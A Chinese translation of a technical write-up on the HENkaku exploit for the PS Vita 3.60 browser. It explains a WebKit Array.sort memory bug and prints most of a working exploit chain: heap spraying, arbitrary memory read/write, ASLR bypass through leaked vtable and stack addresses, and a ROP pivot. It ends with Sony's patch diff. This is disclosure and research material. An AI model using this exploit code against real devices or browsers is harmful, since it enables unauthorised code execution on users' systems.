来源:Exploiting WebKit on Vita 3.60
原作者:xyzz
译:Holic (知道创宇404安全实验室)
译者注:浏览器作为用户交互较多的应用,漏洞利用点相对多一些,而系统浏览器通常以高权限运行,对封闭的终端设备来说,这就提供了不错的漏洞利用条件。本篇 PSV 的 Writeup 介绍了一个 Webkit 漏洞的利用思路,同理我们可以将思路发散到其他终端设备上,比如之前的 PS4 1.76版本 Webkit 堆溢出漏洞,Kindle 的越狱 等...
这是 HENkaku 攻击链系列 Writeup 的开始章节。我会尽量不对 KOTH challenge 进行太多破坏,仅仅记录逆向工程的部分,以阐明大家所错过的细节。然而,在这种情况下,挑战无人问津且毫无进展。不管怎样,我将会发布 writeup,既然我已经写了,让它烂在我的repo里面会是一种浪费。
我们选择的能在用户模式执行代码的目标便是 WebKit。Webkit 拥有 JavaScript 引擎,当我们需要绕过 ASLR 时,它对我们很有用。PS Vita 上的 Web 浏览器也不需要登录 PSN,不会自动更新,允许实现非常简单的攻击利用链(访问网站按下按钮)。完美。
和没有 ASLR 的 3DS 不同,Vita WebKit 有一个可接受的熵值为9 bits 的 ASLR,这就使暴力破解攻击变得非常痛苦(平均需要重新加载 512 次来触发漏洞,好怕!)。因此,我们需要一个比通用 UAF(释放后重用) + vptr(虚函数表指针) 覆写更好的漏洞。
感谢某些人,我设法得到了一个漂亮的 PoC 脚本,可以在最新的固件上造成 Vita 的浏览器崩溃。它不存在于 WebKit bugzilla/repo 的任何地方(或许在限制部分)。
那么作为开始的便是此脚本:
var almost_oversize = 0x3000; var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize)); var o = {}; o.toString = function () { foo.push(12345); return ""; } foo[0] = 1; foo[1] = 0; foo[2] = o; foo.sort();
如果你在使用 Sony 的 Webkit 的 Linux 主机上运行它,你将看到发生段错误。让我们在调试器里面看看:
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault. 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 152 m_value = JSValue::encode(value); (gdb) bt #0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 #1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069 #2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171 #3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214 #4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623 #5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697 <the rest does not matter>
原来她在执行 Javascript Array.sort 函数的时候会遇到未映射的内存。但是这到底发生了什么?
让我们看看 JSArray::sort
方法(Source/JavaScriptCore/runtime/JSArray.cpp
)。因为我们的数组是 ArrayWithContiguous
类型是由它如何创建决定的:Array.prototype.constructor.apply(null, new Array(almost_oversize));
,我们进入sortCompactedVector
函数。这是它的完整定义:
template<IndexingType indexingType, typename StorageType> void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) { if (!relevantLength) return; VM& vm = exec->vm(); // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that. // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return // random or otherwise changing results, effectively making compare function inconsistent. Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength); if (!values.begin()) { throwOutOfMemoryError(exec); return; } Heap::heap(this)->pushTempSortVector(&values); bool isSortingPrimitiveValues = true; for (size_t i = 0; i < relevantLength; i++) { JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i); ASSERT(indexingType != ArrayWithInt32 || value.isInt32()); ASSERT(!value.isUndefined()); values[i].first = value; if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32) isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive(); } // FIXME: The following loop continues to call toString on subsequent values even after // a toString call raises an exception. for (size_t i = 0; i < relevantLength; i++) values[i].second = values[i].first.toWTFStringInline(exec); if (exec->hadException()) { Heap::heap(this)->popTempSortVector(&values); return; } // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather // than O(N log N). #if HAVE(MERGESORT) if (isSortingPrimitiveValues) qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); else mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #else // FIXME: The qsort library function is likely to not be a stable sort. // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort. qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #endif // If the toString function changed the length of the array or vector storage, // increase the length to handle the orignal number of actual values. switch (indexingType) { case ArrayWithInt32: case ArrayWithDouble: case ArrayWithContiguous: ensureLength(vm, relevantLength); break; case ArrayWithArrayStorage: if (arrayStorage()->vectorLength() < relevantLength) { increaseVectorLength(exec->vm(), relevantLength); ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector()); } if (arrayStorage()->length() < relevantLength) arrayStorage()->setLength(relevantLength); break; default: CRASH(); } for (size_t i = 0; i < relevantLength; i++) ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); Heap::heap(this)->popTempSortVector(&values); }
此函数从 JS 数组中取值,将它们放入一个临时向量中,对向量进行排序,然后将值放回 JS 数组。
在第 37 行,for
循环中,对于每一个元素,它的toString
方法被调。当它被我们的对象 o
调用时,便是接下来发生的:
function () { foo.push(12345); return ""; }
一个整数被 push 进正在排序的数组。这导致了数组元素被重新分配。在81行,被排序的元素被写回数组,然而,data
指针从不用新分配的值进行更新。
图例说明:
灰色的区域是空闲/未分配的内存。在 Linux 上,实际是在调用 realloc 后取消映射。同时,data
仍然指向旧的内存区域。因此,Web 浏览器试图向未映射的内存写入,产生段错误。
越界读写
根据内容,JSArray
对象可能在内存中以不同的方式存储。然而,我们正在操作的,是作为元数据头(metadata header)(黄色部分)加上数组内容(绿色部分)连续存储的。
内容只是一个JSValue
结构的向量。
union EncodedValueDescriptor { int64_t asInt64; double asDouble; struct { int32_t payload; int32_t tag; } asBits; };
The metadata header stores two interesting fields:
uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length). uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.
我们的目标是覆盖它们,并将数组“扩展”超出实际分配的范围。
为了实现这一点,我们来修改o.toString
方法:
var normal_length = 0x800; var fu = new Array(normal_length); var arrays = new Array(0x100); o.toString = function () { foo.push(12345); for (var i = 0; i < arrays.length; ++i) { var bar = Array.prototype.constructor.apply(null, fu); bar[0] = 0; bar[1] = 1; bar[2] = 2; arrays[i] = bar; } return ""; }
如果我们运气好的话,这便是所发生的:
在此例中(不反映真实数组大小),当使用data
指针写回排序值的时候,第二条和第三条 bar
的 metadata headers 将被覆盖。
我们用什么覆盖它们?记住,绿色的区域是 JSValue
对象的向量。每一个 JSValue
对象都是 8 字节的。但是,如果我们使用比如 0x8000000
的数据填充 foo
,我们只能控制 4 字节,其余的是用于tag
的。tag
是什么?
enum { Int32Tag = 0xffffffff }; enum { BooleanTag = 0xfffffffe }; enum { NullTag = 0xfffffffd }; enum { UndefinedTag = 0xfffffffc }; enum { CellTag = 0xfffffffb }; enum { EmptyValueTag = 0xfffffffa }; enum { DeletedValueTag = 0xfffffff9 }; enum { LowestTag = DeletedValueTag };
这就是 Webkit JavaScriptCore 如何将不同的类型打包成单个JSValue 结构的:它可以是int,boolean,cell(指向一个对象的指针),null,undefined 或者 double 类型。因此如果我们 写入54321
,我们只能控制一半的结构,而另一半被设置成 Int32Tag
或者 0xffffffff
。
但是,我们也可以写入double
类型的值,比如54321.0
。我们用这种方法控制所有 8 字节,但是还有其他限制(一些浮点指针规范化并不允许写入真正的任意值。否则,你将能够制作CellTag
并将指针设置成任意值,这是很可怕的。有趣的是,在它确实允许之前,这是第一个Vita WebKit exploit使用过的!CVE-2010-1807)。
因此,我们还是写入 double
类型的值吧。
foo[0] = o; var len = u2d(0x80000000, 0x80000000); for (var i = 1; i < 0x2000; ++i) foo[i] = len; foo.sort();
u2d/d2u
是个在int
和 double
之间转换的小助手:
var _dview = null; // u2d/d2u taken from PSA-2013-0903 // wraps two uint32s into double precision function u2d(low,hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0,hi); _dview.setUint32(4,low); return _dview.getFloat64(0); } function d2u(d) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setFloat64(0,d); return { low: _dview.getUint32(4), hi: _dview.getUint32(0) }; }
那么,如果我们现在查看arrays
我们将会发现 JSArray
对象扩展超出了它们的真正边界,而且它们的长度设置成了 0x8000000
。
因垂死听,这成功破坏了 Vita 上的 JSArray
对象,但是 Linux 上的崩溃触发了一个保护页。但这并不重要,因为我们攻击 Vita 而不是 Linux。
现在当我们向一个损坏的bar
对象写入的时候,我们可以实现一个越界任意读写,这很棒!但让我们升级到一个真正的任意读写吧。
聪明的读者可能会注意到,由于 Vita 是一个 32 位的终端, 我们将长度设置为 0x8000000
,每个JSValue
是 8 字节的,我们实际上已经有了任意读写的能力了。然而,我们仍然在从原始的bar
向量基写到偏移处,至今仍未泄漏任何堆的地址。此外,我们只能写double
类型的值,这超级不方便。
为了获得任意读写能力,我使用了与 2.00-3.20 WebKit 漏洞利用相同的技巧,详情点此。
Spray buffers:
buffers = new Array(spray_size); buffer_len = 0x1344; for (var i = 0; i < buffers.length; ++i) buffers[i] = new Uint32Array(buffer_len / 4);
在内存中查找 Uint32Array
buffer,在损坏的缓冲区之前(此处称为arr
)的某个任意偏移开始进行搜索。
var start = 0x20000000-0x11000; for(;; start--) { if (arr[start] != 0) { _dview.setFloat64(0, arr[start]); if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array _dview.setUint32(0, 0xEFFFFFE0); arr[start] = _dview.getFloat64(0); // change buffer size _dview.setFloat64(0, arr[start-2]); heap_addr = _dview.getUint32(4); // leak some heap address _dview.setUint32(4, 0) _dview.setUint32(0, 0x80000000); arr[start-2] = _dview.getFloat64(0); // change buffer offset break; } } }
查找损坏的 Uint32Array
:
corrupted = null; for (var i = 0; i < buffers.length; ++i) { if (buffers[i].byteLength != buffer_len) { corrupted = buffers[i]; break; } } var u32 = corrupted;
既然我们有了真正的任意读写,而且已经泄漏了一些堆地址,接下来便是:
使用 textarea
对象的旧技巧这里再次使用(为什么发明新轮子?)首先,修改原来的Uint32Array
堆喷射交织至textarea
对象。
spray_size = 0x4000; textareas = new Array(spray_size); buffers = new Array(spray_size); buffer_len = 0x1344; textarea_cookie = 0x66656463; textarea_cookie2 = 0x55555555; for (var i = 0; i < buffers.length; ++i) { buffers[i] = new Uint32Array(buffer_len / 4); var e = document.createElement("textarea"); e.rows = textarea_cookie; textareas[i] = e; }
使用损坏的Uint32Array
对象,在内存中找到textarea
。
var some_space = heap_addr; search_start = heap_addr; for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) { if (u32[addr] == textarea_cookie) { u32[addr] = textarea_cookie2; textarea_addr = addr * 4; break; } } /* Change the rows of the Element object then scan the array of sprayed objects to find an object whose rows have been changed */ var found_corrupted = false; var corrupted_textarea; for (var i = 0; i < textareas.length; ++i) { if (textareas[i].rows == textarea_cookie2) { corrupted_textarea = textareas[i]; break; } }
现在我们有两个“视图”到同一个textarea
:我们可以使用我们的u32
对象在内存中直接修改它,我们还可以从 JavaScript 中调用它的函数。所以关键思路是通过我们的“内存访问”覆盖 vptr ,然后通过 JavaScript 调用修改的函数表。
记住,Vita 有 ASLR , 这就是为什么我们为何不得不复杂化这么多漏洞利用方法。但是利用任意读写的方法,我们可以泄漏textarea
vptr 并且完全击败 ASLR;
function read_mov_r12(addr) { first = u32[addr/4]; second = u32[addr/4 + 1]; return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0; } var vtidx = textarea_addr - 0x70; var textareavptr = u32[vtidx / 4]; SceWebKit_base = textareavptr - 0xabb65c; SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49; SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031; ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65; SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5; SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d; SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED; SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59; SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
我们谈谈代码执行吧。在 Vita 上没有 JIT ,也不可能分配 RWX 内存(只允许来自 PlayStation 的 Mobile App)。因此我们必须在 ROP 中写整个 payload 。
之前的 exploit 使用了一个叫做 JSoS
的技术,点此查看详情。然而,浏览器在破坏 JSArray
之后变得实在是不稳定,所以我们向尽可能少的运行 JavaScript 代码。
因此,新版本的 roptool 由 Davee 编写,支持 ASLR。这里的基本思想是 roptool 输出中有一些字(一个 word 4 字节)现在具有分配给它们的重定位信息。在重定位 payload 之后,这只是向这些字添加不同的base(SceWebKit_base
/SceLibc_base
/等),我们可以正常启动生成的 ROP 链。
由于固件版本未知,现在有了额外的漏洞缓解实施方案:有时内核将检测你的线程栈指针实际是在其堆栈内的。如果不是的话,整个程序将被杀死。
为了绕过这个情况,我们需要将我们的 ROP 链植入线程堆栈。为了做到这点,我们需要线程栈虚地址。因为ASLR的存在,我们并不知道此地址。
然而我们有内存任意读写。有大量方法泄漏栈指针。我使用 setjmp函数。
这便是我们如何调用它的:
// copy vtable for (var i = 0; i < 0x40; i++) u32[some_space / 4 + i] = u32[textareavptr / 4 + i]; u32[vtidx / 4] = some_space; // backup our obj for (var i = 0; i < 0x30; ++i) backup[i] = u32[vtidx/4 + i]; // call setjmp and leak stack base u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp corrupted_textarea.scrollLeft = 0; // call setjmp
现在我们的 corrupted_textarea
在内存中被 jmp_buf
覆盖,此处包含堆栈指针。然后,我们回复如下原始数据。这是为了在我们试图对损坏的 textarea
对象做一些事情的时候,JavaScript 不会使浏览器崩溃。
// restore our obj for (var i = 0; i < 0x30; ++i) u32[vtidx/4 + i] = backup[i];
不幸的是,如果我们看到在 SceLibc
中 setjmp
的实现,我们得到另一个漏洞利用缓解方案。
ROM:81114070 setjmp ROM:81114070 PUSH {R0,LR} ROM:81114072 BL sub_81103DF2 // Returns high-quality random cookie ROM:81114076 POP {R1,R2} ROM:81114078 MOV LR, R2 ROM:8111407A MOV R3, SP ROM:8111407C STMIA.W R1!, {R4-R11} ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie ROM:81114084 STMIA R1!, {R0,R2} ROM:81114086 VSTMIA R1!, {D8-D15} ROM:8111408A VMRS R2, FPSCR ROM:8111408E STMIA R1!, {R2} ROM:81114090 MOV.W R0, #0 ROM:81114094 BX LR
基本上:
stored_LR = LR ^ cookie stored_SP = SP ^ cookie
你能看明白这是怎么回事吗?我们已经知道 SceWebKit_base
,所以我们知道LR
的真正价值。使用离散代数魔法:
cookie = stored_LR ^ LR SP = stored_SP ^ cookie SP = stored_SP ^ (stored_LR ^ LR)
或者在 JavaScript 中:
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0; sp -= 0xef818; // adjust to get SP base
现在我们可以将我们的 ROP payload 写入线程栈并转向它,而不会停止应用程序!
首先,我们重定位 ROP payload。记住我们如何获得 payload 和 relocs。如果你看到 payload.js ,这将是你所看到的:
payload = [2119192402,65537,0,0,1912 // and it goes on... relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
relocs
数组中的每个数字表示了 payload
成员应该如何重定位的。例如,0 表示不进行重定位,1 表示添加 rop_data_base
,2 表示 添加 SceWebKit_base
,3 表示添加SceLibKernel_base
等...
使用 roptool 生成的 ROP 链有两个部分:代码和数据。代码只是 ROP 堆栈,数据是字符串或缓冲区。rop_data_base
是数据的 vaddr, rop_code_base
是代码的 vaddr)
下一个循环将 payload 直接重定位到线程堆栈中:
// relocate the payload rop_data_base = sp + 0x40; rop_code_base = sp + 0x10000; addr = sp / 4; // Since relocs are applied to the whole rop binary, not just code/data sections, we replicate // this behavior here. However, we split it into data section (placed at the top of the stack) // and code section (placed at stack + some big offset) for (var i = 0; i < payload.length; ++i, ++addr) { if (i == rop_header_and_data_size) addr = rop_code_base / 4; switch (relocs[i]) { case 0: u32[addr] = payload[i]; break case 1: u32[addr] = payload[i] + rop_data_base; break; /* skipped most relocs */ default: alert("wtf?"); alert(i + " " + relocs[i]); } }
在这个循环中,我们将有效 payload 分成两个部分:代码段和和数据段。我们不希望代码接触到数据,因为如果它们靠的太近,并且代码在数据之后(这是 roptool 生成的 ROP 链的情况),当调用函数时,它可能会损坏一部分数据段(记着栈增长的方向,这是 ROP 链所沿着的方向)。
因此一旦我们完成重定位数据段:if (i == rop_header_and_data_size)
,我们转向重定位代码段:addr = rop_code_base / 4
.
图片的左边是 ROP 链存储在 payload
数组中的样子。右边展示了 ROP 链是如何写入栈中的。
最后,我们来触发 ROP 链吧。
// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc} u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8; var ldm_data = some_space + 0x100; u32[ldm_data/4 + 5] = rop_code_base; // sp u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc} // This alert() is used to distinguish between the webkit exploit fail // and second stage exploit fail // - If you don't see it, the webkit exploit failed // - If you see it and then the browser crashes, the second stage failed alert("Welcome to HENkaku!"); corrupted_textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg // You won't see this alert() unless something went terribly wrong alert("that's it");
当 corrupted_textarea.scrollLeft = ldm_data
完成时,由于覆盖了 vtable ,我们的 LDM gadget 将会被调用。R1
会变成 ldm_data
,因此它将从缓冲区加载 SP = rop_code_base
和 PC = pop {pc}
,这将会启动 ROP 链。
索尼按照 LGPL 的要求定期上传他们的 Webkit 新源码到此页面。(若是他们没有这么做,这种情况他们需要通过邮件要求一个友好的戳印)
将 3.60 和 3.61 版本之间的源码进行比较,将会发现以下内容(已省略无用的东西):
diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 1087,1096c1087,1123 - } - }; - - - template<IndexingType indexingType, typename StorageType> - void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) - { - if (!relevantLength) - return; - --- + } + }; + + template <> + ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguousInt32(); + } + + template <> + ContiguousDoubles JSArray::storage<ArrayWithDouble, double>() + { + return m_butterfly->contiguousDouble(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguous(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >() + { + ArrayStorage* storage = m_butterfly->arrayStorage(); + ASSERT(!storage->m_sparseMap); + return storage->vector(); + } + + template<IndexingType indexingType, typename StorageType> + void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) + { + data = storage<indexingType, StorageType>(); + + if (!relevantLength) + return; + 1167,1172c1194,1200 - CRASH(); - } - - for (size_t i = 0; i < relevantLength; i++) - ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); - --- + CRASH(); + } + + data = storage<indexingType, StorageType>(); + for (size_t i = 0; i < relevantLength; i++) + ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); +
他们现在在更新data
指针之前写入值。所以即使数组被重新分配,它仍然写入正确的内存。如果你尝试在在 3.61 版本上运行 HENkaku,这就是造成alert("restart the browser")
错误的原因。干的漂亮,Sony!
今天就这些!我希望你能喜欢这个 writeup,就像我讨厌写 exploit 一样。此后,在几个月/年/世纪,我会带给你一些更好的 writeup ,尽请期待。因为我写了大部分的 HENkaku exploit 链,我被禁止参加 KOTH challenge :(,但至少你可以享受这篇writeup :)。